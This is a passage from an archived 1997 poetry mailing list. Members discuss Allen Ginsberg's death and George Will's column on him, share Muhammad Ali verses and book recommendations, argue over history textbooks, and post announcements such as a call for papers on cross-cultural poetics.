The very first words from his Louisville lips,
"I'm pretty as a picture, and there's no one I can't whip."

#2
Joe's gonna come out smokin',
And I ain't gonna be joking',
I'll be peckin and pokin'.
Pourin' water on his smokin'.
This might shock and amaze ya,
But I'll retire Joe Frazier!

#3
This is the story about a man
With iron fists and a beautiful tan
He talks a lot indeed
Of a powerful punch and blinding speed.

The boxing game was slowly dying,
And fight promoters were bitterly crying
For someone, somewhere, to come along
With a better and a different tone.

Cheers,

Keith

-=-=-=-=-=

Keith Norris | [redacted]
English Department PSTCC
Knoxville, TN 37933
[redacted]

↑ Index

346. **amato**
reading list...
Sun 13 Apr 1997

---

well it's spring anyway (despite the weather we've been having here in the mid-west), so it's as good a time as any to note some books recently rec'd, by poetics list members (you're all such a prolific lot!), all of which i've only dipped into thus far and all of which look to be well-worth the price of admission:

first, to second patrick's acclaim, aldon nielsen's _stepping razor_...

doug barbour's _story for a saskatchewan night_...

mark scroggin's (ed) _upper limit music_...

aldon nielsen's (slow down will ya?!) _black chant_...

marjorie perloff's _wittgenstein's ladder_...

linda russo's _constellation voice_...

bob perelman's _the marginalization of poetry_...

walter lew's (ed) _premonitions_...

pierre joris's translation of celan's _breathturn_...

& not from this list region (i think!):

joseph duemer's _static_...

johanna drucker's _the visible word_...

carolyn heilbrun's bio, _the education of a woman: the life of gloria steinem_...

finally, i finally picked up my own copy of whitman's _specimen days & collect_, and am browsing through (whitman is always stimulating reading for me)...

anyway, whew!... you guyz & galz are incredible!...

///

joe

↑ Index

347. Louis Cabri
Re: AG & the columnists
Sun 13 Apr 1997

Hank, I agree

The newspaper obit you mention -- the "personality-not-a-poet" line -- don't you think that argument was structured into initial reception of "New American W" itself -- both the 1960 anthology & the moment those poets occupied in so timely a way, AG included? I think it's clearly there in Robert Pack's intro to his edited section of New Poets from England and America--the retrenchment response (1962?) to the Allen antho. If you get media attention and use the media as AG did, then you are automatically disqualified as a poet. It's an argument that ironically for the newspaper journalist puts poetry back into a gown, no longer in the town, where it can be equally scorned by an identical sort of reporter as decorative timelessness much like Wedgewood.

Reading backwards through the last week's post,
Louis

↑ Index

348. Gwyn McVay
Re: The Don Allan Apology
Sun 13 Apr 1997

More like something Frank O'Hara's old roommate Edward Gorey would illustrate.

On Sun, 13 Apr 1997, linda v. russo wrote:

> *actually -- i thought it would make my reply sound too much like a victorian pornographic novel.*

> *db wrote:*
> *I even suggested she post in to "Mr.Bromide and Mr.Boring"*
> *thanking them for their "correction". She was too nice to do so . .*
>
> *--*
> *linda v. russo*
> [redacted]

↑ Index

349. **Herb Levy**
Re: John Barton Wolgamot
Sun 13 Apr 1997

I only know of the Robert Ashley piece "In Sara, Mencken, Christ and Beethoven There Were Men and Women", in which Ashley intones a text by Wolgamot against electronic sounds designed by Ashley & Paul DeMarinis. Pardon my ignorance, but what else did Wolgamot do?

> *What ever happened to JBW? To the JBW Society?*
>
> *Alan*

Herb Levy
[redacted]

↑ Index

350. **Dave Zauhar**
Re: History is Rewritten
Sun 13 Apr 1997

> *Maria Damon wrote:*
>
> *howard zinn's book A People's History of the United States or some such is very good for this purpose. it's thick tho, which may intimidate some hs students, but very readable and an eye-opener.*
>
> *There's also _Labor's Untold Story_ by Richard O. Boyer and Herbert M. Morais, (published by the United Electrical, Radio & Machine Workers of America, New York, 1965) though I don't know if it's still in print.*
>
> *Bobbie West*

Lies My Teacher Told Me would probably be accessible to most highschool kids, so that might be another good place to start.

DZ

↑ Index

351. **Mark Weiss**
Re: History Is Rewritten
Sun 13 Apr 1997

It's all a matter of point of view, Maxine. Think of the unimaginable consequences had we lost the war in Grenada.

At 02:48 AM 4/13/97 -0700, you wrote:
>Speaking of history being rewritten, I shuddered a few years ago that my
>daughter's brand new history book (jr high level) had as much information
>on Grenada (2 paragraphs) as it did on the Viet Nam War. And try to find
>a single text for kids taught in the regular curriculum that even mentions
>the American Labor Movement. So no wonder that when they arrive in
>college, they are maybe aware of Allen G as MTV celeb instead of fine poet
>and political activist. My solution at home: tell my kids about alternate
>history, take them to events that proliferate the truth about American
>political policy, etc.
>
>It's an odd consciousness reflected in those books as well, very
>inconsistent. My younger sons are now being taught about Japanese
>internment camps, slave rebellions before the Civil War, etc., (younger
>kids and newer book still) but no change in the omissions cited above.
>
>Maxine Chernoff
>
>

↑ Index

352. **cris cheek**
Election news
Sun 13 Apr 1997

For those with an interest in the choice
facing the current electorate in the UK,
note that tens of thousands of mostly
(but by no means all) younger people
marched in London yesterday.

Most prominent of the banners were
those reading

FUCK MIDDLE ENGLAND
FUCK THE ELECTION
TONY BLAIR WE ARE YOUR WORST NIGHTMARE

one favorite wore a red vest
reading 'Legal Observer'

gives me some slight hope

love and love
cris

↑ Index

353. **Steve Carll**
Change of Address
Sun 13 Apr 1997

Whereas hitherto, the postal address for Steve Carll, Antenym magazine, and Bathysphere Press were 106 Fair Oaks St. #3, San Francisco, CA 94110-2951

Henceforward, said postal address shall be 106 Fair Oaks St. #1. All other loci remain the same (relatively speaking).

Thank you.

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

354. **Maria Damon**
Re: ali
Sun 13 Apr 1997

---

keith, these are all charming but not "THE" poem. don't worry abt tone. career still intact. i won't burden you w/ reprints; i understand perfectly.

At 3:51 PM -0500 4/13/97, Keith Norris wrote:
>Maria Damon,
>

>--these three Ali poems turned up in a brief web search--none specifically
>attached to either of the Liston fights, though.
>
>Got _Dark End..._ already--other books and articles I haven't read
>threaten my already iffy "normal human cerebration" at this late date in
>dissertation. If this earns a prize, send only in August after I've
>defended. I think I'll go worry about the tone of this mail and how it
>impacts my future now...
>
>Cheers,
>Keith
>
>#1
>It all started twenty years past,
>The greatest of them was born at last.
>The very first words from his Louisville lips,
>"I'm pretty as a picture, and there's no one I can't whip."
>
>#2
>Joe's gonna come out smokin',
>And I ain't gonna be joking',
>I'll be peckin and pokin'.
>Pourin' water on his smokin'.
>This might shock and amaze ya,
>But I'll retire Joe Frazier!
>
>#3
>This is the story about a man
>With iron fists and a beautiful tan
>He talks a lot indeed
>Of a powerful punch and blinding speed.
>
>The boxing game was slowly dying,
>And fight promoters were bitterly crying
>For someone, somewhere, to come along
>With a better and a different tone.
>
>Cheers,
>
>Keith
>
>-=-=-=-=-=

>
>Keith Norris | [redacted]
>English Department PSTCC
>Knoxville, TN 37933
>[redacted]

↑ Index

355. **KENT JOHNSON**
Re: yo marjorie!
Sun 13 Apr 1997

Hi Maria:

[redacted]

Kent

> *Date sent: Mon, 14 Apr 1997 07:41:20 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: yo marjorie!*
> *To: [redacted]*
>
> *does anyone have perloff's e-mail address? i tried to respond to a personal msg and it got bounced back. very puzzled, md*

↑ Index

356. **Alan Jen Sondheim**
Re: John Barton Wolgamot
Sun 13 Apr 1997

He wrote a long piece, of which that was a line or the title - I forget - an amazing poem decades ago, Keith Waldrop was a member of the Society, and I joined - one had to reference him out of context...

And I wondered if anyone else had come across his writing.

Alan

On Sun, 13 Apr 1997, Herb Levy wrote:

> *I only know of the Robert Ashley piece "In Sara, Mencken, Christ and Beethoven There Were Men and Women", in which Ashley intones a text by Wolgamot against electronic sounds designed by Ashley & Paul DeMarinis. Pardon my ignorance, but what else did Wolgamot do?*
>
> *What ever happened to JBW? To the JBW Society?*

> *Alan*
>
> *Herb Levy*
> [redacted]

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/index.html TELEPHONE [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, USA, 11217 Editor, BEING ON LINE

↑ Index

357. KENT JOHNSON

Re: yo marjorie!

Sun 13 Apr 1997

Sorry. Had meant to post the message to Maria Damon back-channel.

> Priority: normal
> Date sent: Mon, 14 Apr 1997 08:01:40 +0600
> Send reply to: UB Poetics discussion group <[redacted]>
> From: KENT JOHNSON <[redacted]>
> Organization: Highland Community College
> Subject: Re: yo marjorie!
To: [redacted]

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358. Maria Damon (Maria Damon)

Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle

Sun 13 Apr 1997

At 10:08 AM 4/14/97, [redacted] wrote:
>At 12:02 PM -0400 4/14/97, Piombino/Simon wrote:
>>My concern is: how
>>will we move out of a position of passivity today? Especially
>>without Allen Ginsberg to lead.
>
>This totalizing "we" is problematic to me. Personally, Ginsberg never lead
>me anywhere (even though I had a poster of him on my bedroom wall when I
>was in high school)--and I think his influence is marginal to large
>"marginal" populations. As I see it, he embodied alienation for a bunch of
>white guys (and a few women such as Maria D.), a fine thing to do--but

>other people have embodied that for other groups and will continue to.
>
>Dodie

hi dodie, i certainly see your point and have no desire to add to the sense of totalizing. ag did mean a lot to me, but i'm certainly aware that he didn't have that significance for others.... xo, md

↑ Index

359. **michael corbin**
Re: History is Rewritten
Mon 14 Apr 1997

Dave Zauhar wrote:

> *_Lies My Teacher Told Me_ would probably be accessible to most highschool kids, so that might be another good place to start.*

A nice text for secondary ed and beyond is the _Who Built America? Working People & The Nation's Economy, Politics, Culture & Society_ in two volumes from the American Social History Project at CUNY. The founder of the project is Herbert Gutman. The 'text' can also be had on CD with lots of pedegogically provocative pictures, songs etc. for the multi-media prepared computer.

I've used this in teaching literacy classes because of its explicit historical/political editorial commitments and general accessibility.

mc

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360. **Chris Stroffolino**
So How did The Weiners I mean Wieners event go?
Mon 14 Apr 1997

In philadelphia, I mean.....chris stroffolino

↑ Index

361. **George Bowering**
Re: The Don Allan Anthology
Mon 14 Apr 1997

---

my whole take on the misspelling of Allen's name was not just to do with carelessness; it was also to do with respect.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

362. George Bowering
Re: foundling fathers
Mon 14 Apr 1997

> *I see it too*
> *when I teach the early American course--the actual writings of "the Founding fathers" surprise them--especially Thomas Paine's writrings on religion. They've been told in High School (?) what's in these texts but haven't examined them themselves.*

Yeah, this semestr I did that with the declaration of Independence, and enjoyed the complaint against george III for being nice to the bloodthirsty savages.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

363. George Bowering
Re: ginsberg and snyder
Mon 14 Apr 1997

> *Does using adjacent urinals in two different states*

Where is that possible?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

364. Maria Damon (Maria Damon)
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

---

actually, i didn't think you were suggesting i was. i just wanted to be sure you knew that you had my sympathies. xo, md

At 12:59 PM 4/14/97, [redacted] wrote:
>At 1:53 PM +1000 4/14/97, Maria Damon (Maria Damon) wrote:
>
>>hi dodie, i certainly see your point and have no desire to add to the sense
>>of totalizing.
>
>Maria, I wasn't suggesting you were. You of all people would be sensitive
>about NOT doing this.
>
>Dodie

↑ Index

365. Pierre Joris
Re: Reading backwards
Mon 14 Apr 1997

Mark Weiss wrote:
>
> On this subject _A Contoversy of Poets_, edited by Robt Kelly and I forget
> whoall, was an attempt either to bridge the gap or to mark the boundaries.
> As I remember, Kelly chose the poets from the establishment side, his
> conventional poet coeditor chose the poets I like to read.

T'was the other way around, Mark, unless Mac Low, Blackburn, Blaser, Dorn, Enslin, Leroi Jones, Gerrit Lansing, Levertov, Olson, Oppenheimer, Rochelle Owens, Rothenberg, Zukofsky are the establishment poets, while Peter Burr, Peter Davison, Donal Finkel, Anthony Hecht, Daniel Hoffman, Galway Kinnell, XJ Kennedy, Laurence Lieberman, Robert Pack, WD Snodgrass, Robert Sward etc. are the poets you like to read.

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]

http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

366. **Mark Weiss**
Re: Reading backwards
Mon 14 Apr 1997

On this subject _A Contoversy of Poets_, edited by Robt Kelly and I forget whoall, was an attempt either to bridge the gap or to mark the boundaries. As I remember, Kelly chose the poets from the establishment side, his conventional poet coeditor chose the poets I like to read. It's a half-interesting book.

At 10:02 PM 4/12/97 -0500, you wrote:
>Louis, the Hall Pack Simpson anthology _New Poets of England & America_
>came out in 1958, preceding the Allen by nearly two years. There may have
>been a later edition, post - Allen, that incl. one or 2 of the Allen
>poets - Creeley? But HPS were there firstest, though not with the mostest.
>Frost did the intro, all the poets were under 40 (they'll be under 80,
>today), & they wrote like, well, like Ur-Neo-Formalists. Some handful went
>on to fame and considerable fortune. Kingsley Amis, Robert Bly, Donald
>Davie, Thom Gunn, Hall himself, Anthony Hecht, Geoffrey Hill, John
>Hollander, Elizabeth Jennings, Donald Justice, Philip Larkin, Robert
>Lowell, James Merrill, W.S.Merwin, Howard Nemerov, Adrienne Cecile Rich,
>Jon Silkin, W.Dewitt Snodgrass,May Swenson, Reed Whittemore, Richard
Wilbur
>and James Wright, names to conjure with & not any list of mere retrenchers.
>
>
>It was remarkable to those of us just entering the scene to have 2
>anthologies purporting to present the best of current american poetry
>coming out, with not one poet in both books. These days, of course, we are
>accustomed to such divisions.
>
>Hope this helps, Louis. db

>
>

↑ Index

367. Dale Smith
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

> *We are grieving, in this cruel April*
> *of a Nazional Poetry Month, not only the loss of a great poet ,but one of*
> *the last of the media revolutionaries that helped save this country from*
> *disaster.*

What disasters have been spared? The social, political, and aesthetic reality of this country today resembles Victorian England more than ever.

↑ Index

368. Dale Smith
Re: Will's column
Mon 14 Apr 1997

Daniel Bouchard-

If you read my posts you will notice that I did not address you. I addressed several "fuck-you" posts from the list.

Mabe you should go back and reread those posts before you begin accusing me of being symathetic with Gearge Will. Yours is a very fascist response, cruel and totalizing in an attempt to voice a pathetic and deluded sense of frustration at my Will/Ginsberg comments. In the future I suggest a LITTLE forethought and attention in your replies.

> *"America, go fuck yourself with your atom bomb."*
> *--Allen Ginsberg (1926-1997)*
>
> *"America, I'm not sorry."*
> *--same guy*
>
> *Dales,*
>
> *I'm not sorry if you think my "fuck George F. Will"*
> *is "stupid and irresponsible."*
>
> *I'm not sorry if you think my "fuck George F. Will"*
> *"confirms his belief in the poverty of cultural values today."*

> *If he could define them, and if I could take the time to read them, I'm sure I could have a grand time mocking them for the amusement of the Poetics list.*
>
> *If you think my "fuck George F. Will" is an act of cowardice because it was "behind his back" let me assure that I would love to have the opportunity to meet the man and enjoy a real conversation, in which I may or may not use the oh-so-shocking "F" word, depending on the amount of sneering condescension he emits.*
>
> *You are obviously impressed with George F. Will's authority to the extent that in a worthless diatribe in which he shits on a man's life work you find "scant points . . . which seemed appropriate." Which points were they Dales? The ones that implicate all writers and activists in "cultural and economic market practices." Are you taking a correspondence course with George F. Will?*
>
> *You said, "his death is the occasion for such moments as these and I think as much meaning should be milked from debate rather than saturating ourselves only with warm platitudes."*
>
> *Yes, let's debate and milk (milk?) the moment and we may learn something from one another, but don't begin by telling ME to settle down and be reasonable because it only makes me more angry.*
>
> [redacted]

↑ Index

369. **Michael Boughn**

Re: History is Rewritten

Mon 14 Apr 1997

> *in a recent post (i forgot who) someone stated that young people seem interested/more interested in labor issues communism etc . . . and i think that although i am somewhat concerned at the willful forgetfulness of younger generations about critical histories--feminism in particular--i think its great that individuals are attempting to bring a more radical edge to the mainstream*

I don't quite follow this thread. Have "the schools" ever provided information to students about the labour movement, radical political movements, feminism, vegetarianism, spitritualism? Certainly not in my experience (50s and 60s). The closest we ever got was one class in the 9th grade that mentioned the merging of the AFL and the CIO. Like sex and drugs, you've always had to find out about that stuff on your own, haven't you? Unless you grew up in a family where it was part of your family values.

Where it seems to me to get really dicey is in the open rewriting of events like the Viet Nam war. I remember in the early 80's reading in a high school text book in Santa Cruz, California, that the war was "started" by an unprovoked attack by North Viet Namese on American ships in the Gulf of Tonkin. And that the heroic American resistance was led by Paul Bunyan and his blue ox, Babe.

Mike
[redacted]

↑ Index

370. **Dale Smith**
Re: Will's column
Mon 14 Apr 1997

I do apologize for the fascist remark. But I don't use that word lightly, as you, Gould, suggest. As you so adroitly suggest, there are many definitions to the word. What we have at times on this list is more like a high school gang of creeps posturing and screaming at one another. I was under the impression that this list was open to dialogue and conversation. Not totalitarian exegesis (Bouchard) slandering the intentions of those who post critical comments to the list. I didn't realize there's no space for dissenting opinions.

> *On Mon, 14 Apr 1997 10:09:39 +0100 Dale Smith said:*
> *Yours is a very fascist response,*
> *cruel and totalizing in an attempt to voice a pathetic and deluded sense of frustration at my Will/Ginsberg comments. In the future I suggest a LITTLE forethought and attention in your replies.*
>
> *I say old boy, you might consult the 1846 OED on the term "fascist" - this is entry #37: FASCIST(adj.): one who accuses others of "fascism" in a blithe, freewheeling, & fithergildering manner.*
>
> *In future I suggest a MITE more philological research on your part before slanging the noodle quite so scriptoshedly! Those who live in gashouses, as they say, should [f-rt] advisedly!*
> *- Eric Blarnes*
>
> *"As for 'f--king' - our servants will say that for us."*
> *- Lord Allen Gridberg, 1st Earl of Chongebongalay*
>
> *p.s. Lord Allen's Solicitor, Reginald Stubbs, has noted in Black's Law Digest for April 1897, that the use of the words "f-k" or "f-t" or their linguistic derivatives by members of the ruling class is protected under the Imperial Dominoes & Speech Act of Her Majesty Queen Vicky of 1854. Just so you know.*

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371. Christine Palma

Re: media coverage for the arts(long reply)

Mon 14 Apr 1997

Herb Levy wrote:

> *When I hear a recording by someone I'm interested in on almost ANY radio station, NPR or otherwise, I assume that the artist has died, 'cause otherwise the work w0uldn't be on the air.*

I've been an evesdropper on this list for about 8 months or so, and I feel compelled to chime in and also to introduce myself... Herb Levy's comment touches close to home.

When I finished up my undergraduate degree in English almost three years ago, I felt a big void in my education. I felt that I'd been introduced to work, poetry and fiction, representative of what is academically "embraced" and that the bulk of what I had studied for the past four years was not contemporary work. I am saying this even though I understand that a big goal of the curriculum in English depts. is to give students an historical grounding of literature. I would never trade in this education. But still, I questioned the relevance of what I'd been told to read. I felt that the contemporary work I'd become acquainted with through my classes was not "dangerous writing" and I felt that that the selection of work took on an academic cast because there was such a narrow selection of writers. Somehow when I looked at my bookshelf and the bookshelves of other English majors at other colleges, I saw the same books, books that were supposed to be on the bleeding edge of creative writing. How could we all be reading the same books? Could they really be that alternative or different or more importantly "contemporary," if most universities were teaching the same authors. I wondered how a silent consensus could have formed about who the important writers of today are. Isn't a canon of contemporary writers a contradiction. It would be easy for an aspiring writer or a reader who aspires to understand the tone of contemporary writing to just accept these people and look to them as the thematic (moral) and styllistic voice of our time. What's worse is to accept the opposite condition of this, that perhaps it's very difficult today to stumble upon a relevant writer who enjoys obscurity as a result of work that breaks so radically from what's taught in the university system, or worse still, that it's impossible because they don't exist.

I felt estranged from what I'd just gotten a degree in. This bothered me enough that I decided I would produce and host a radio show about poetry, literary fiction and performance and fill in the gap. The format is open, but usually the guests read their work for the bulk of the program and the discussion is on the

climate of creative writing and not on an analysis of the particular pieces they've just read. The best part for me is that good writers recommend good writers and are so excited to share them. Also coming across people with interesting work, but who don't have any immediate aspirations to publish, ie. closet writers. I feel as though I can now make the connection between what I've gotten academically with the diversity of what I've encountered. And I can now be thankful for the survey classes and Norton Anthology for giving me a body of work to relate it to.

I've also made it a point to educate myself on what the media coverage for the arts is like. I'm in Los Angeles so I can only speak for Los Angeles. I think the climate has changed in the past few years and that arts and literary programs broadcasting to Los Angeles are breaking out of the after-midnight airtime ghetto. For the first year, I had an 11 PM to 2 AM weekly timeslot. Now I am on at 8 PM. At other public stations, we had Wanda Coleman at KPFK doing Poetry Connection also at 8 PM. KCRW out of Santa Monica College has Michael Silverblatt hosting Bookworm during the day! 2 PM. KCRW has also made the full broadcasts of his shows available for download at their website (www.kcrw.org) and the sound quality is fine.

I think there is a growing public demand for arts programming and an awareness of the radio's and internet's potential to meet that. Part of this is due to independent publishing houses putting out spoken word releases and these getting into Virgin Megastore and the like. A small non-profit experimental audio group in New York called Tellus/Harvestworks which puts out recordings like those of Paul Bowles and John Cage and Shelley Hirsh is now at my local record store.

The internet will certainly improve public access... it's convenient. I don't know how long this particular list has been around, but I sure would have welcomed it five years ago. A radio show, an e-mail list, streaming audio, they can do wonders.

Christine

_____
christine palma
[redacted]

samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in every living room, a sculpture in every park, a sculpture in every body, cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics, mindoro, coincidence, encaustic, pedestrian's rights, sleep depriviation high, the moon . . .

↑ Index

372. **Maria Damon**
yo marjorie!
Mon 14 Apr 1997

---

does anyone have perloff's e-mail address? i tried to respond to a personal msg and it got bounced back. very puzzled, md

↑ Index

373. **Maria Damon**
Re: The poetry of Muhammad Ali
Mon 14 Apr 1997

At 12:29 AM -0400 4/13/97, Stephen Vincent wrote:
>A guess: Was it the one with alliterative off-rhymes - front and back
>("float/sting" & "butterfly/bee")
>
>"float like a butterfly,
>sting like a bee"
>
>??
>
>Cheers,
>
>Stephen Vincent

i don't think so, that was later. nonetheless, if you'd like a copy of XCP, i'll send you one.--md

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374. **Maria Damon**
Re: Change of Address
Mon 14 Apr 1997

LAST CHANCE !!CALL FOR PAPERS!!

Conference: Cross-Cultural Poetics
Dates: October 16-19, 1997
Place: University of Minnesota, Minneapolis Campus
Keynote Speakers: Kamau Brathwaite, Diane Glancy, Dennis Tedlock,
Kirin Narayan, David Antin

Despite artificial disciplinary barriers, ethnographers & poets have in recent years come to realize how similar their projects are. Cross-Cultural Poetics seeks to address the increasingly untenable boundaries between poetic & ethnographic practices. The conference will focus on the role of poetry in the

on-going discourses of multiculturalism, ethnography, and literary theory and practice. While recent years have seen a debate in "how culture is written (about)" and most of these debates make extensive use of the term "poetics," poetic discourse itself has not been foregrounded in these debates. Construing the term "poetry" fairly broadly, we invite poets and scholars working in a broad range of fields -- anthropology, urban studies, ethnic studies, folklore, literature and literary theory, sociology, history, publishing, film, American studies, performance studies, ethnomusicology, cultural studies, etc. -- to propose readings, papers or panels that address the topic of cross-cultural poetics. the following are suggested topics, but you need not feel limited to them:

- Comparative Poetries &/or Poetic Traditions
- Oral/Literate Interfaces or Standoffs
- Anthropological Methodologies Applied to Poetic Texts, Communities, Events, or Individual Poems or Poets
- Ethnography as Poetry/Poetry as Ethnography
- Ethnic, Folkloric & Vernacular Poetries
- Poetry as Cultural & Social Praxis
- Poetry as Cultural & Social Critique
- Constituting Communities through Poetic Activity
- Poetry as Mass Culture
- Poetry & the Public Sphere
-Poetry and Politics
- The Anthropology of Writing & the Writing of Anthropology
- Representing Self/Other
- Issues in Cultural Translation
- "Ethnopoetics": Reappraisals?
- Poetry & Other Media (Song Lyrics, Music, Film, Movement, Visual Arts, etc.)
- Close Readings of &/or Listenings to Ethnographic Documents
- The Poetics of Thick Description
- Ritual, Play, etc. as Elements in Poetic Composition
- The Act of Inscription: Fieldnotes, Notebooks, etc.
- The Cultural Migration of Texts
- Hybridization of Genres & Traditions
-Trans/post/supra national Poetix?

PAPERS (and Writing Samples for people wanting to read) AND PANEL PROPOSALS (a 1-2-page abstract) should be sent by April 15, 1997 to Maria Damon, English Dept., 207 Lind Hall, University of Minnesota, Minneapolis MN 55455.

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375. **amato**
michael dorris...
Mon 14 Apr 1997

---

just heard on npr that michael dorris is dead, evidently from suicide...

can anybody tell me more about this -- how, possibly why, etc.?... what was he doing in new hampshire again?...

///

joe

↑ Index

376. **Hank Lazer**
Re: foundling fathers
Mon 14 Apr 1997

George--

My eight year old son asked me the other day, "what exactly is the Decoration of Independence?"

Hank Lazer

↑ Index

377. **Christopher Alexander**
Re: History Is Rewritten
Mon 14 Apr 1997

> *howard zinn's book A People's History of the United States or some such is very good for this purpose. it's thick tho, which may intimidate some hs students, but very readable and an eye-opener.*

yes, this one is definitely worth a peek.
it's worth noting that zinn, who teaches
at boston university, has suffered more
than a bit for his political practice. a few
years back, president silber (who has
now left the univ. for a prominent position
in MA public ed--talk about frightening),
in what is probably the most recent, &
most prominent instance of the university
administration's usually quiet campaign
against zinn & the left in general, tried to
have him fired when, refusing to cross

the picket line of the then-striking clerical
workers, zinn held his classes off campus.

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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378. Christopher Alexander
Re: Triumph and the Will
Mon 14 Apr 1997

> If it cd now be regarded as vitriol-free, I'd like to continue the naming
> of contributors to the Don Allan Anthology (or Apology). How abt Jackson
> McLow, Michael Mac Lure, Gary Spicer and Jack Snyder? And of course, Jerome
> Rothenburg.
I thought it was Jack & Gary Spider, the Spider bros. or was it
Jack Spader--father of Famed Hollywood Actor James Spader?

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
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379. henry gould
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

On Mon, 14 Apr 1997 09:43:25 +0100 Dale Smith said:
>

>What disasters have been spared? The social, political, and aesthetic
>reality of this country today resembles Victorian England more than ever.

By George, a truer word was never said, old boy. I was chatting with Lawn Tennison over a bit of cricket by the hearth just the other p.m. The pocky old bard was bemoaning his beloved Hal, as usual. I said to him, "try some of this, old chap". "What ho, a new port?" says he. "No such thing as a new port," pshawed I. "No, it's a bit of that rawther rambunctious poet, G.M. Hopkins. Wild, wild, wild versical exp- perimentation, I must say. See what you think." The old boy took the volume, but I'm afraid I haven't heard anything more since - believe he doddered off to sleep before having a good look at it. - Eric Blarnes

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380. Daniel Bouchard
excerpt
Mon 14 Apr 1997

"Fuck is a dirty word
But it comes out clean."

-- Jack Kerouac

↑ Index

381. Piombino/Simon
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

The disaster I was thinking of was the disaster of complicit silence. By taking a stand in the public light, Allen Ginsberg and others helped move many people from a position of passivity to one of also taking a stand, in non-violent acts such a draft-card burning, etc. Your point is well taken from the standpoint of social outcomes, and the current social reality..My concern is: how will we move out of a position of passivity today? Especially without Allen Ginsberg to lead. I feel that this makes his loss especially heavy. Thank you for your clarifying response.On Mon, 14 Apr 1997, Dale Smith wrote:

> *We are grieving, in this cruel April*
> *of a Nazional Poetry Month, not only the loss of a great poet ,but one of the last of the media revolutionaries that helped save this country from disaster.*
>
> *What disasters have been spared? The social, political, and aesthetic*
> *reality of this country today resembles Victorian England more than ever.*

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382. **Sylvester Pollet**
Will's Column
Mon 14 Apr 1997

Not to get in the middle of personal name-calling exchanges, but my response to Will's column (which I haven't read & don't intend to seek out) is to let lying dogs sleep. sp

↑ Index

383. **Pritchett,Pat**
Re: George may choose
Mon 14 Apr 1997

Just call me, "The Man Who Seconded The Second Of The Other Man."

From: Tom Mandel
To: POETICS
Subject: George may choose
Date: Sunday, April 13, 1997 6:45AM

Speaking of "ugliness... risen in our time" -- I think it would only be fair to give George Will his choice of weapons. George, my second Pat Pritchett will be in touch with your second.

Should George choose pistols, I'll insist on cap. Should he choose wit, I'll ask David Bromige to represent me.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

384. **LYNES- KATHERINE**
Re: Planned Parenthood Benefit Reading
Mon 14 Apr 1997

---

yes, please. this is a good idea [in case we're taking votes....].

katherine.

> *This may seem really obvious of me, but when addresses of events are listed on the list, could the city please be included?*
>
> *Hugh Steinberg*

↑ Index

385. **yuri-g**
Re: Lyn Hejinian's address
Mon 14 Apr 1997

On Sat, 12 Apr 1997, Jennifer Ashton wrote:

> *Would anyone be willing to backchannel me with Lyn Hejinian's snail mail address? (Or academic affiliation?) Many thanks.*
>
> *Jennifer Ashton*
> *Johns Hopkins University*
> [redacted]

i know she's working at new college in san francisco
-joanna>

"thrilled with my deathlessness, thrilled with this endlessness I dice and bury, come Poet shut up eat my word, and taste my mouth in your ear." -Allen Ginsberg

↑ Index

386. **henry gould**
Re: Will's column
Mon 14 Apr 1997

On Mon, 14 Apr 1997 10:09:39 +0100 Dale Smith said:
 Yours is a very fascist response,
>cruel and totalizing in an attempt to voice a pathetic and deluded sense of
>frustration at my Will/Ginsberg comments. In the future I suggest a LITTLE
>forethought and attention in your replies.
>

I say old boy, you might consult the 1846 OED on the term "fascist" - this is entry #37: FASCIST(adj.): one who accuses others of "fascism" in a blithe, free-wheeling, & fithergildering manner.

In future I suggest a MITE more philological research on your part before slanging the noodle quite so scriptoshedly! Those who live in gashouses, as they say, should [f-rt] advisedly! - Eric Blarnes

"As for 'f--king' - our servants will say that for us."
- Lord Allen Gridberg, 1st Earl of Chongebongalay

p.s. Lord Allen's Solicitor, Reginald Stubbs, has noted in Black's Law Digest for April 1897, that the use of the words "f-k" or "f-t" or their linguistic derivatives by members of the ruling class is protected under the Imperial Dominoes & Speech Act of Her Majesty Queen Vicky of 1854. Just so you know.

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387. **dbkk**
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Mon 14 Apr 1997

At 12:02 PM -0400 4/14/97, Piombino/Simon wrote:
>My concern is: how
>will we move out of a position of passivity today? Especially
